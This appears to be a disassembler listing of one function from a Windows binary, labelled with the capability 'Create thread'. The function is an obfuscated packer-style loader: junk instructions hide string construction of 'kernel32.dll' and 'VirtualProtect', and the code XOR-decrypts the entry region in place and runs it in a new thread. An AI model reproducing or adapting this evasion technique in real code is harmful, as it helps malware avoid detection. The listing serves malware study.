Function at 0x333b93b
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
push ebx
pop ebx
pushfd
push esi
add esp, 4
popfd
call fcn.0333bd04
pushfd
push 0xf0c32755
add esp, 4
popfd
push edx
push eax
pop eax
pop edx
lea eax, [ebp - 0xd8]
xchg ecx, ecx
xchg edx, eax
xchg edx, eax
mov ebx, 0x61
pushfd
inc ebx
dec ebx
popfd
xchg ebx, edi
xchg edi, ebx
add bx, 0xa
pushfd
push esi
add esp, 4
popfd
pushfd
inc ecx
dec ecx
popfd
mov word [eax], bx
pushfd
xor ebx, 0xe9bc3dcc
xor ebx, 0xe9bc3dcc
popfd
pushfd
xor esi, 0x56148d35
xor esi, 0x56148d35
popfd
sub bx, 6
pushfd
inc edx
dec edx
popfd
mov word [eax + 2], bx
push edx
pop edx
add bx, 0xd
push edi
pop edi
mov esi, esi
mov word [eax + 4], bx
push ebx
pop ebx
pushfd
push esi
add esp, 4
popfd
sub bx, 4
pushfd
push 0xa2232e18
add esp, 4
popfd
mov word [eax + 6], bx
pushfd
push ecx
add esp, 4
popfd
sub bx, 9
pushfd
push esi
add esp, 4
popfd
mov word [eax + 8], bx
pushfd
xor esi, 0x2c4ccc78
xor esi, 0x2c4ccc78
popfd
push ecx
push eax
pop eax
pop ecx
add bx, 7
push esi
push ecx
pop ecx
pop esi
pushfd
push 0xdc13f200
add esp, 4
popfd
mov word [eax + 0xa], bx
pushfd
xor ebx, 0xb2b97396
xor ebx, 0xb2b97396
popfd
pushfd
xor ebx, 0xc33b9965
xor ebx, 0xc33b9965
popfd
sub bx, 0x39
xchg ecx, eax
xchg ecx, eax
mov word [eax + 0xc], bx
mov esi, esi
pushfd
inc ebx
dec ebx
popfd
dec bx
pushfd
push 0x6c620924
add esp, 4
popfd
push ecx
pop ecx
mov word [eax + 0xe], bx
pushfd
xor ebx, 0xa7de45d
xor ebx, 0xa7de45d
popfd
pushfd
push edi
add esp, 4
popfd
sub bx, 4
mov esi, esi
mov word [eax + 0x10], bx
push ecx
pop ecx
add bx, 0x36
xchg esi, esi
pushfd
xor ebx, 0x7e97b0b2
xor ebx, 0x7e97b0b2
popfd
mov word [eax + 0x12], bx
push ebx
push edi
pop edi
pop ebx
add bx, 8
push ecx
push ebx
pop ebx
pop ecx
mov word [eax + 0x14], bx
push esi
pop esi
push edx
push ecx
pop ecx
pop edx
mov word [eax + 0x16], bx
pushfd
push esi
add esp, 4
popfd
push edi
push ecx
pop ecx
pop edi
mov word [eax + 0x18], 0
push eax
push ebx
pop ebx
pop eax
mov eax, eax
push eax
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
pushfd
push eax
add esp, 4
popfd
push ecx
pop ecx
mov dword [ebp - 0x10], eax
pushfd
push edi
add esp, 4
popfd
lea eax, [ebp - 0xd8]
pushfd
push edx
add esp, 4
popfd
mov ebx, 0x61
pushfd
inc esi
dec esi
popfd
sub bl, 0xb
pushfd
inc ebx
dec ebx
popfd
mov byte [eax], bl
mov eax, eax
pushfd
push 0x8f8c4506
add esp, 4
popfd
add bl, 0x13
push edx
push eax
pop eax
pop edx
mov byte [eax + 1], bl
pushfd
push 0xf92d950a
add esp, 4
popfd
pushfd
xor ecx, 0x6ab95e4d
xor ecx, 0x6ab95e4d
popfd
add bl, 9
nop
mov byte [eax + 2], bl
xchg ecx, eax
xchg ecx, eax
pushfd
push eax
add esp, 4
popfd
add bl, 2
xchg ebx, esi
xchg esi, ebx
pushfd
push ebx
add esp, 4
popfd
mov byte [eax + 3], bl
pushfd
inc ecx
dec ecx
popfd
inc bl
xchg ecx, ecx
xchg esi, ecx
xchg ecx, esi
mov byte [eax + 4], bl
pushfd
inc ecx
dec ecx
popfd
sub bl, 0x14
pushfd
push 0xeb5bcfae
add esp, 4
popfd
mov byte [eax + 5], bl
push eax
pop eax
add bl, 0xb
push esi
push ecx
pop ecx
pop esi
mov byte [eax + 6], bl
pushfd
push edi
add esp, 4
popfd
sub bl, 0x1c
pushfd
xor esi, 0x442093f8
xor esi, 0x442093f8
popfd
mov edi, edi
mov byte [eax + 7], bl
push edi
push eax
pop eax
pop edi
add bl, 0x22
xchg ebx, ecx
xchg ecx, ebx
mov byte [eax + 8], bl
xchg esi, esi
push ebx
pop ebx
sub bl, 3
xchg edx, edx
pushfd
inc ebx
dec ebx
popfd
mov byte [eax + 9], bl
pushfd
xor edx, 0x113df064
xor edx, 0x113df064
popfd
add bl, 5
pushfd
push ecx
add esp, 4
popfd
mov byte [eax + 0xa], bl
push edx
pop edx
sub bl, 0xf
pushfd
push 0x9926d670
add esp, 4
popfd
mov byte [eax + 0xb], bl
push ebx
pop ebx
sub bl, 2
pushfd
push 0x7ce898cc
add esp, 4
popfd
push ecx
pop ecx
mov byte [eax + 0xc], bl
pushfd
push ebx
add esp, 4
popfd
add bl, 0x11
push edi
pop edi
mov byte [eax + 0xd], bl
pushfd
push 0xde3395e6
add esp, 4
popfd
mov byte [eax + 0xe], 0
pushfd
push esi
add esp, 4
popfd
push eax
push dword [ebp - 0x10]
call dword [sym.imp.kernel32.dll_GetProcAddress]
xchg edx, edx
xchg edi, eax
xchg edi, eax
mov dword [ebp - 0xc], eax
push edx
pop edx
lea eax, [ebp - 8]
xchg esi, edx
xchg edx, esi
push eax
push 4
push 0x75625b
push entry0
call dword [ebp - 0xc]
pushfd
push esi
add esp, 4
popfd
push esi
pop esi
mov edi, entry0
xchg esi, esi
mov esi, 0x40100e
mov edi, edi
mov ecx, 0x75625b
mov esi, esi
mov edx, 0x6266b3f6
push esi
pop esi
mov ebx, 0xefbfdfff
pushfd
push esi
add esp, 4
popfd
cld
nop
lodsb al, byte [esi]
mov edi, edi
xor al, dl
nop
stosb byte es:[edi], al
xchg edx, edx
ror edx, 5
xchg ebx, ebx
imul edx, edx, 7
mov eax, eax
test ebx, 1
xchg edi, edi
je 0x333bc86
xchg esi, esi
add esi, 6
mov edx, edx
ror ebx, 1
xchg esi, esi
dec ecx
xchg ecx, ecx
test ecx, ecx
xchg edi, edi
jne 0x333bc61
push ecx
push edx
pop edx
pop ecx
lea eax, [ebp - 8]
pushfd
push 0x395d03ed
add esp, 4
popfd
push eax
push 0x20
push 0x75625b
push entry0
call dword [ebp - 0xc]
xchg edx, edx
lea eax, [ebp - 4]
push eax
push edx
pop edx
pop eax
push 0
push 0
push eax
push entry0
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
mov ebx, ebx
pushfd
inc eax
dec eax
popfd
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
pushfd
push eax
add esp, 4
popfd
pushfd
push edx
add esp, 4
popfd
jmp 0x333bcd3